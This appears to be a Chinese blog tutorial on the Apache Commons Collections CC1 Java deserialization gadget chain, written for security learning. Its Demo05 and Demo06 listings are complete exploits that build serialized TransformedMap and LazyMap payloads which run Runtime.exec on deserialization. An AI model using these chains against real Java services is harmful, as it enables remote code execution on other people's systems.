java安全入门(二)

重点要知道:

  1. java是半编译型,半解释性语言,需要将编译好的.class文件放入JVM中加载

  2. 我们通过反射可以从已经运行的JVM中拿到我们想要的类,从类中获取构造方法,进行实例化,调用相关的方法,主要是Runtime的命令执行

  3. java的序列化和反序列化,反序列化时会调用readObject()方法,我们构造的readObject方法,需要满足和原项目中的包名一样的包名

    hexdump -C Calc.class

​ 上节课忘记讲了,,我们在传递数据的时候,为了保险稳定,一般会传入字节码

​ 可以看到,class中是带了包名,我们说过,类是对象的模板,那么,在序列化对象的时候,如果包名出现了问题,自然会遇到一系列问题。

CC链1

我们已经知道了序列化和反序列化漏洞的基本原理,那么怎么通过构造恶意数据,让反序列化产⽣⾮ 预期对象呢?

我们以CC链进行举例

组件介绍

Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合⼯ 具类。

collection是set,list,queue的抽象。

作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。

Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer。

前置疑问

使用反射获取的Runtime类,为什么可以放到readObject方法中

实际上,我们简短的描述进行命令执行的化,就是这样,

Runtime.class.getMethod("getRuntime").invoke("null").exec("calc")

而我们使用反射的原因是因为,我们通过反射获取Runtime类以后,他就实现了Class本身所继承的Serializable

我么现在写一个最基本的demo

package com.CC1;

public class Demo {
    public static void main(String[] args) {
        Class<Runtime> runtimeClass = Runtime.class;
    }
}

当我们使用 ctrl alt v补全类型以后,会发现他是Class <>的泛型,当我们长按ctrl,左键点进去之后,就很明显的发现,它实现了Serializable接口,那么,他就满足了序列化的条件

Runtime 用的时候不用 new吗?

如果你有这样的疑惑,你不妨这样试一下

package com.CC1;

public class Demo {
    public static void main(String[] args) {
        Runtime runtime;
        runtime = new Runtime();
    }
}

它肯定是会报错的,因为他是一个单例类,,具体什么叫单例类,,自己可以看一下java的基础知识去,

参考java设计模式中单例模式就可

这里放一张图

所以我们需要用getRuntime方法去获取实例

环境

  • CommonsCollections <= 3.2.1

  • java < 8u71(我是用的是8u66)

  • 导入依赖

     <dependency>
                <groupId>commons-collections</groupId>
                <artifactId>commons-collections</artifactId>
                <version>3.2.1</version>
            </dependency>
    

    当然也可以 用传统的 lib包下导入add as a library

在CC链中使用的类

理解完上面的知识以后,你应该对反射和序列化有了初步的印象,接下来我们需要结合两者看几个demo

Map类->TransformedMap

Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap , 具体的变换逻辑由Transformer类定义。

也就是说,TransformedMap类中的数据发⽣改变时, 可以⾃动对进⾏⼀些特殊的变换,⽐如在数据被修改时,把它改回来; 或者在数据改变时,进⾏⼀ 些我们提前设定好的操作。

而实现怎么样的操作或者便换,都是我们提前设定好的,这叫做transform

我们可以使用TransformedMap.decorate()方法获取一个TransformedMap的实例 (同单例类)

TransformedMap.decorate⽅法,预期是对Map类的数据结构进⾏转化,该⽅法有三个参数

第⼀个参数为待转化的Map对象

第⼆个参数为Map对象内的key要经过的转化⽅法(可为单个⽅法,也可为链,也可为空)

第三个参数为Map对象内的value要经过的转化⽅法

Map的其他知识
  • Map是java中的接⼝,Map.Entry是Map的⼀个内部接⼝。
  • Map提供了⼀些常⽤⽅法,如keySet()、entrySet()等⽅法。
  • keySet()⽅法返回值是Map中key值的集合;
  • entrySet()的返回值也是返回⼀个Set集合,此集合的类型为Map.Entry。
  • Map.Entry是Map声明的⼀个内部接⼝,此接⼝为泛型,定义为Entry。它表⽰Map中的⼀ 个实体(⼀个key-value对)。接⼝中有getKey(),getValue⽅法,可以⽤来对集合中的元素进⾏ 修改
Transform接口
ConstantTransformer

作用:得到 class 对象

package com.CC1;

import org.apache.commons.collections.functors.ConstantTransformer;


public class Demo01 {
    public static void main(String[] args) {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
        Object transform = constantTransformer.transform("null");
        System.out.println(transform);
        System.out.println(transform.getClass().getName());

    }
}

InvokerTransformer

作用:接⼝于Transformer的类都具备把⼀个对象转化为另⼀个对象的功能

先看一下它最常用的构造方法,可以看到需要传递三个参数

再看一下它的transform方法

我们可以看到该类接收⼀个对象,获取该对象的名称,然后调⽤了⼀个invoke⽅法传递参数。另外,多 个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺 序调⽤⼀系列的变换。

package com.CC1;

import org.apache.commons.collections.functors.InvokerTransformer;

public class Demo02 {
    public static void main(String[] args) {
        // 定义需要执⾏的本地系统命令
        String cmd = "calc";
        // 构建transformer对象
        InvokerTransformer transformer = new InvokerTransformer(
                "exec", new Class[]{String.class}, new Object[]{cmd}
        );
        // 传⼊Runtime实例,执⾏对象转换操作
        transformer.transform(Runtime.getRuntime());

    }
}


ChainedTransforme

当传⼊的参数是⼀个数组的时候,就开始循环读取,对每个参数调⽤ transform ⽅法,从⽽构造出 ⼀条链。

package com.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Demo03 {
    public static void main(String[] args) {
        String cmd = "calc.exe";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new
                        Object[]{cmd})
        };
        // 创建ChainedTransformer调⽤链对象
        Transformer transformedChain = new ChainedTransformer(transformers);
        // 执⾏对象转换操作
        transformedChain.transform(null);
    }
}

于是,我们的思路环境就出来了

  1. ConstantTransformer --> 把⼀个对象转换为常量,并返回 ->获取到了Runtime.class
  2. InvokerTransformer --> 通过反射,返回⼀个对象 -> 反射获取执行方法加入参数
  3. ChainedTransforme -->执⾏链式的Transformer⽅法 ->将反射包含的数组进行链式调用,从而连贯起来

当然,这里所调用的每个类自然也是继承了Serializable接口,例如,

整体思路还是和上节课反射一样,仔细捋一下。上节课我们也提到过最后用数组包含起来传值的思路,这样是不是就理清了很多。

TransformedMap

通过上面的几个例子,我们应该可以明白,最终是需要调用transform方法,才能完成我们最后一步。

但是,问题就来了:

  1. 如何传入恶意的ChainedTransformer
  2. 如何调用transform方法执行本地命令;

但是我们看一下由工具ysoserial构造的payload

org.apache.commons.collections.map.TransformedMap类间接的实现了java.util.Map接口,同时支持对Map的key或者value进行Transformer转换,调用decorate和decorateTransform方法就可以创建一个TransformedMap:

关键代码如下

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
      return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

Transformer实现类分别绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。

我们可以把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时(调用TransformedMapsetValue/put/putAll中的任意方法),就会自动触发chainedtransformer

所以,我们的demo’可以如下:

package com.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Demo04 {
    public static void main(String[] args) {
        String cmd = "calc.exe";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new
                        Object[]{cmd})
        };
        // 创建ChainedTransformer调⽤链对象
        Transformer transformedChain = new ChainedTransformer(transformers);
        //创建Map对象
        Map map = new HashMap();
        map.put("value", "value");
        // 使⽤TransformedMap创建⼀个含有恶意调⽤链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null,
                transformedChain);
    // transformedMap.put("v1", "v2");// 执⾏put也会触发transform
    // 遍历Map元素,并调⽤setValue⽅法
        for (Object obj : transformedMap.entrySet()) {
            Map.Entry entry = (Map.Entry) obj;
    // setValue最终调⽤到InvokerTransformer的transform⽅法,从⽽触发Runtime命令执⾏调⽤链
            entry.setValue("test");
        }
//            System.out.println(transformedMap);
        }
    }


我们就来总结一下使用TransformedMap的条件

  1. 实现了java.io.Serializable接口;
  2. 并且可以传入我们构建的TransformedMap对象;
  3. 调用了TransformedMap中的setValue/put/putAll中的任意方法一个方法的类;
AnnotationInvocationHandler

AnnotationInvocationHandlerinvoke方法都调用了get方法参数可控,readObject方法中满足setValue()进行transform执行

这里以readObject做例子

这里的readObject是AnnotationInvocationHandler中的------>具体参考java的多态性质

sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,是用来处理注解的一个类。它还重写了readObject方法,在readObject方法中间接的调用了TransformedMap中MapEntry的setValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。

我调了一下,调用堆栈如下

readObject:428, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:82, Demo05 (com.CC1)

可以看到,调用了setValue()方法

上图中的第352行中的memberValues是AnnotationInvocationHandler的成员变量,memberValues的值是在var1.defaultReadObject();时反序列化生成的,它也就是我们在创建AnnotationInvocationHandler时传入的带有恶意攻击链的TransformedMap。需要注意的是如果我们想要进入到var5.setValue这个逻辑那么我们的序列化的map中的key必须包含创建AnnotationInvocationHandler时传入的注解的方法名。

于是,我们修改后完整的过程如下

package com.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;

public class Demo05 {
    public static void main(String[] args) {
        String cmd = "calc";

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 创建Map对象
        Map map = new HashMap();
        map.put("value", "value");

        // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

        try {
            // 获取AnnotationInvocationHandler类对象
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

            // 获取AnnotationInvocationHandler类的构造方法
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

            // 设置构造方法的访问权限
            constructor.setAccessible(true);

            // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
            // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
            Object instance = constructor.newInstance(Target.class, transformedMap);

            // 创建用于存储payload的二进制输出流对象
            ByteArrayOutputStream baos = new ByteArrayOutputStream();

            // 创建Java对象序列化输出流对象
            ObjectOutputStream out = new ObjectOutputStream(baos);

            // 序列化AnnotationInvocationHandler类
            out.writeObject(instance);
            out.flush();
            out.close();

            // 获取序列化的二进制数组
            byte[] bytes = baos.toByteArray();

            // 输出序列化的二进制数组
            System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));

            // 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);

            // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
            ObjectInputStream in = new ObjectInputStream(bais);

            // 模拟远程的反序列化过程
            in.readObject();

            // 关闭ObjectInputStream输入流
            in.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

LazyMap

看到这里,你会发现,不对啊,ysoserial里面是LazyMap,而我们却没有讲到,这里讲一下

有师傅分析LazyMap类,里面的get方法正好符合put去调用transform的情况

get方法同时还要求传入一个Object 参数,get方法内部在调用transform方法之前会先判断一下key,如果当前map中不存在key的话,则通过factory来创建一个value

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

同时,因为factory是LazyMap类的成员属性,其数据类型也是Transformer

public class LazyMap
        extends AbstractMapDecorator
        implements Map, Serializable {
 
    /** Serialization version */
    private static final long serialVersionUID = 7990956402564206740L;
 
    /** The factory to use to construct elements */
    protected final Transformer factory;

同时还具有我们熟悉的decorate方法,这个方法和之前TransformedMap中的decorate方法的用法一样,它要求接收两个参数,一个是Map,另一个是Transformer类型的factory,这意味着factory参数是可控的,我们可以通过反射或者构造方法来控制factory参数。

	public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

LazyMap类的利用链问题解决了,但还需要一个类在反序列化的时候触发LazyMap类的get方法,因此还得借助AnnotationInvocationHandler类,通过AnnotationInvocationHandler类的构造方法将LazyMap传递给memberValues,也就是说我们要获得AnnotationInvocationHandler的构造器。

这里我们以invoke()方法做例子

其中invoke的关键函数是,可以看到invoke方法中有一个memberValues调用了get方法,memberValues的值是可控的。

public Object invoke(Object var1, Method var2, Object[] var3) {
    Object var6 = this.memberValues.get(var4);
}
如何调用AnnotationInvocationHandler类中的invoke方法

答案就是:通过反射将代理对象proxyMap传给AnnotationInvocationHandler的构造方法

代理对象

通过分析AnnotationInvocationHandler类,发现这个类实现了InvocationHandler接口,是动态代理的接口。

public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h);
  • 参数loader表示目标对象所属类的加载器,因此这里要传入Map的类加载器

  • 参数interfaces表示目标对象实现的接口(通过反射获取),也就是目标对象lazyMap实现的接口,这里还是传入Map对象

  • 参数h表示代理类要完成的功能,注意参数h的类型时InvocationHandler,因此这里我们要传入AnnotationInvocationHandler对象

具体的话参考此https://blog.csdn.net/u012326462/article/details/81293186

在Spring里面,逐渐演化为AOP思想

既然我们的目标是调用LazyMap类的get方法,那么可以通过Proxy类的静态方法newProxyInstance来创建LazyMap类的动态代理对象,当lazyMap调用方法时就会调用代理对象的invoke方法。

思路

通过调试,AnnotationInvocationHandler的构造会将代理对象proxyMap赋值给成员属性memberValues

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

然后AnnotationInvocationHandler对象在反序列化的时候调用重写的readObject方法

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        Map var3 = var2.memberTypes();
        //获取LazyMap父类的entrySet
        Iterator var4 = this.memberValues.entrySet().iterator();
        while(var4.hasNext()) {
            //代理对象调用方法
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }

​ 当调用readObject方法时,memberValues的值就是代理对象proxyMap(也就是LazyMap的代理对象),只要代理对象proxyMap调用方法就会执行AnnotationInvocationHandler中的invoke方法(代理对象调用任何方法In,不管vocationHandler的invoke方法都会进行拦截,这就是动态代理技术)

所以,我们可以构造为

package com.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Demo06 {
    public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler annotationInvocationHandler = (InvocationHandler) construct.newInstance(Target.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), lazyMap.getClass().getInterfaces(), annotationInvocationHandler);
        annotationInvocationHandler = (InvocationHandler) construct.newInstance(Target.class, proxyMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(annotationInvocationHandler);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();

    }
}

思路图

img

解答

  1. LazyMap链的触发点不应该是 this.memberValues.entrySet() 吗?然而调试发现并不是从这个断点进入的命令执行,而是从 (Entry)var4.next() 方法进入的

  2. TransformedMap链的HashMap实例需要存在value键,否则无法通过 if (var7 != null) 条件,具体为什么HashMap的键值对应着AbstractInputCheckedMapDecorator.MapEntry的键值

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值